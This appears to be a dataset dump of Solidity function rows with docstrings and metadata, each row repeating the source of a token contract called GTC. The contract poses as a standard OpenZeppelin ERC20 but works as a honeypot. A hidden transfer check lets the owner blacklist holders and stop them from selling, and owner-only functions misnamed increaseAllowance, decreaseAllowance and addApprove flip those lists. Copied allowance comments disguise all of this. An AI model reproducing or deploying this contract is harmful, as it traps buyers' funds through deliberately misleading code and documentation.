/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
3040,
3224
]
} | 8,891 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
3771,
3927
]
} | 8,892 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
4069,
4243
]
} | 8,893 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
